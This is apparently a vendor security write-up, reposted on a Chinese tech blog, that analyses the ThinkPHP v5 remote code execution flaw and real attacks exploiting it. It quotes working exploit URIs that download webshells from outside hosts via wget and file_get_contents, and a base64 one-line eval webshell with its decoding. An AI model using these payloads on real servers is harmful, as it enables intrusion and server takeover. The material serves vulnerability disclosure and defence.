ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

码农翻身
• 阅读 1485

2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可导致远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。现在,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。

此次漏洞由ThinkPHP v5框架代码问题引起,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,需要格外关注。阿里云是仅有少数的捕获到该漏洞整个攻击链的云服务商。下面我们对其漏洞背景,攻击原理和行为进行全面分析,并提供真实案列分析。

漏洞分析

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

漏洞影响的版本

ThinkPHP v5.0系列 < 5.0.23

ThinkPHP v5.1系列 < 5.1.31

漏洞原理分析

通过对比ThinkPHP官方发布的漏洞修复说明,直接分析thinkphp解析路由调度的代码 /thinkphp/library/think/Route.php

ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

parseUrlPath函数调用path函数并解析了pathinfo中的路由信息,函数中url直接用/切分,没有加任何过滤机制。

搜索pathinfo发现 //thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

我们可以利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s,所以可以直接构造命令注入的函数。

继续分析路由调度的代码app.php,通过'controller' 来执行控制器操作,实例化控制器,跟进controller方法
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

//thinkphp/library/think/Loader.php中,controller调用parseModuleAndClass方法,直接解析,实例化name,实例化class,当匹配反斜线时直接将其作为方法和类name匹配反斜线时直接将其作为方法和类strpos(name, '') ,我们可以在这里构造实例化我们想要调用的方法。实例化namespaceclass类并执行call_user_func_array方法。

ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

漏洞复现:

我们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是我们在存在该漏洞的主机上执行ls命令,可以拿到目录下的所有文件详情。
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

漏洞攻击真实案例

截至2018年12月11日,阿里云态势感知监控到的数据显示,黑客们利用该漏洞进行攻击的方式有很多,目前主要是以webshell为主,可能由于曝光PoC时间太短,很多黑产(如挖矿)都还没充分利用。对目前所有的webshell方式总结后,比较流行的有以下几种:

  1. 利用该漏洞远程执行下载命令,通过wget远程下载一个webshell后门,执行命令从而获得服务器权限。

其攻击URI详情如下:

"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "

通过执行wget命令:wget -O help.php http://tzrj.host.smartgslb.co...,下载webshell。

下面是该webshell所具有的功能列表,如下图:
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

  1. 利用file_get_contents和file_put_contents函数,远程下载webshell。

其攻击的URI详情如下:

"/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('http://jzy1115.host3v.vip'));"

该webshell所具备的功能详细如下图:
ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

  1. 利用file_put_contents函数 写入一句话webshell,其攻击的URI详情如下:

"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"

该命令行包含的base64加密字符串解码如下:

"<?php pass=_POST['360very'];eval($pass);?>"

该恶意代码将被写入到文件./vendor/autoclass.php中。

漏洞影响和攻击趋势

通过对网站信息数据的统计,我们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示,从2018-12-04开始至2018-12-11,被攻击的网站数据暴增。以我们和漏洞利用攻击对抗的经验来看,该漏洞的利用攻击会出现更多变种,各个企业应尽快升级ThinkPHP的代码框架至最新版本,避免自己的网站被攻破,服务器沦陷为肉鸡。

ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

下面是被攻击网站数量变化趋势,可看出该漏洞被曝光后迅速被大规模自动化利用。

ThinkPHP v5 新漏洞攻击案例首曝光,阿里云已可告警并拦截

安全建议

阿里云安全专家提醒:ThinkPHP的v5.0.23和v5.1.31为安全版本,建议大家尽快升级框架至最新版本来修复此漏洞。对于未及时升级的用户请及时使用阿里云态势感知和WAF来抵御攻击,确保企业正常业务运行。

点赞
收藏
评论区
推荐文章
天翼云Web应用防火墙(边缘云版)拦截WordPress Elementor漏洞的说明
近日CVE20221329WordPressElementor出现执行漏洞,截至发文当前,天翼云Web应用防火墙(边缘云版)已监测并拦截到相关攻击,请相关用户尽快采取措施进行排查与防护。漏洞描述WordPress是著名的博客框架,基于PHP语言开发,使用MySQL作为其数据库。而Elementor是WP中流行的一个页面构建插件,据官网介绍全球有超一千万个
警惕!GitLab 严重漏洞在野被广泛利用,企业需立即自查
1.前言近日,微步在线旗下微步情报局利用捕获到GitLab未授权远程命令执行漏洞(CVE202122205)在野利用,攻击成功后攻击者会植入挖矿木马进行挖矿。该漏洞无需进行身份验证即可进利用,危害极大。GitLab是GitLabInc.开发用于代码仓库管理系统的开源项目。GitLab广泛应用于多个企业,该漏洞影响范围较广。2.事件详情在2
Stella981 Stella981
4年前
Linux应急响应(三):挖矿病毒
0x00前言随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat弱口令攻击、WeblogicWLS组件漏洞、Jboss
Stella981 Stella981
4年前
Hadoop Yarn REST API未授权漏洞利用挖矿分析
HadoopYarnRESTAPI未授权漏洞利用挖矿分析一、背景情况5月5日腾讯云安全曾针对攻击者利用HadoopYarn资源管理系统RESTAPI未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击
Stella981 Stella981
4年前
APT攻击利器-Word漏洞CVE
一、概述近期,百度安全实验室反高级威胁团队截获多封利用MicrosoftOfficeWord漏洞进行攻击的恶意邮件。通过对邮件附件样本进一步分析发现,其利用的漏洞为澳洲国防部计算机应急响应中心提交的CVE20167193。该漏洞为RTF文件解析漏洞,成功利用该漏洞可以远程执行任意代码。我们拦截的样本双击打开后会在本地释放后门程序
微步在线 微步在线
4年前
GitLab 严重漏洞在野被广泛利用,企业需立即自查
1.前言近日,微步在线旗下微步情报局利用捕获到GitLab未授权远程命令执行漏洞(CVE202122205)在野利用,攻击成功后攻击者会植入挖矿木马进行挖矿。该漏洞无需进行身份验证即可进利用,危害极大。GitLab是GitLabInc.开发用于代码仓库管理系统的开源项目。由于GitLab广泛应用于多个企业,该漏洞影响范围较广。公众号后台回
Stella981 Stella981
4年前
FreeType 2.4.9之前版本多个远程漏洞(CVE
漏洞描述FreeType是一个流行的字体函数库。FreeType2.4.9之前版本在实现上存在多个堆缓冲区溢出漏洞、栈缓冲区溢出漏洞和拒绝服务漏洞,远程攻击者可利用这些漏洞执行任意代码或造成拒绝服务。解决方法以下是各Linux/Unix发行版系统针对此漏洞发布的安全公告,可以参考对应系统的安全公告修复该漏洞:Ubuntu\
天翼云Web应用防火墙(边缘云版)支持检测和拦截Apache Spark shell命令注入漏洞
尊敬的天翼云用户您好:近日,ApacheSpark出现shell命令注入漏洞,该漏洞危害较大且POC已公开。截至发文当前,天翼云Web应用防火墙(边缘云版)已监测并拦截到大量相关攻击,请相关用户尽快采取措施进行排查与防护。漏洞描述ApacheSpark是美国阿帕奇(Apache)软件基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎,如果A
关于fastjson出现反序列化远程代码执行漏洞的通知
近日fastjson出现反序列化远程代码执行漏洞。天翼云提醒用户:请尽快采取措施进行排查与防护。漏洞描述5月23日,fastjson官方发布公告称在1.2.80及以下版本中存在新的反序列化风险,在特定条件下可绕过默认autoType关闭限制,从而反序列化有安全风险的类,攻击者利用该漏洞可实现在目标机器上的远程代码执行。fastjson是开源JSON解析库,它
从CVE-2024-6387 OpenSSH Server 漏洞谈谈企业安全运营与应急响应
在当今数字化时代,网络安全已成为企业运营中不可忽视的重要一环。随着技术的不断发展,黑客攻击手段也在不断升级,其中0day漏洞的利用更是让企业防不胜防。0day漏洞是指在厂商尚未发布补丁修复的情况下,黑客已经发现并利用的安全漏洞。这类漏洞的危害极大,往往会给
京东上万程序员都AI用它!
7月3日,中国信息通信研究院在全球数字经济大会上发布“2024安全守卫者计划优秀案例”,基于京东云智能编码工具JoyCoder研发的“京东微调大模型驱动漏洞修复”入选优秀案例。该漏洞修复助手,能够对大模型生成代码进行智能修复,为程序员开启代码漏洞修复的“自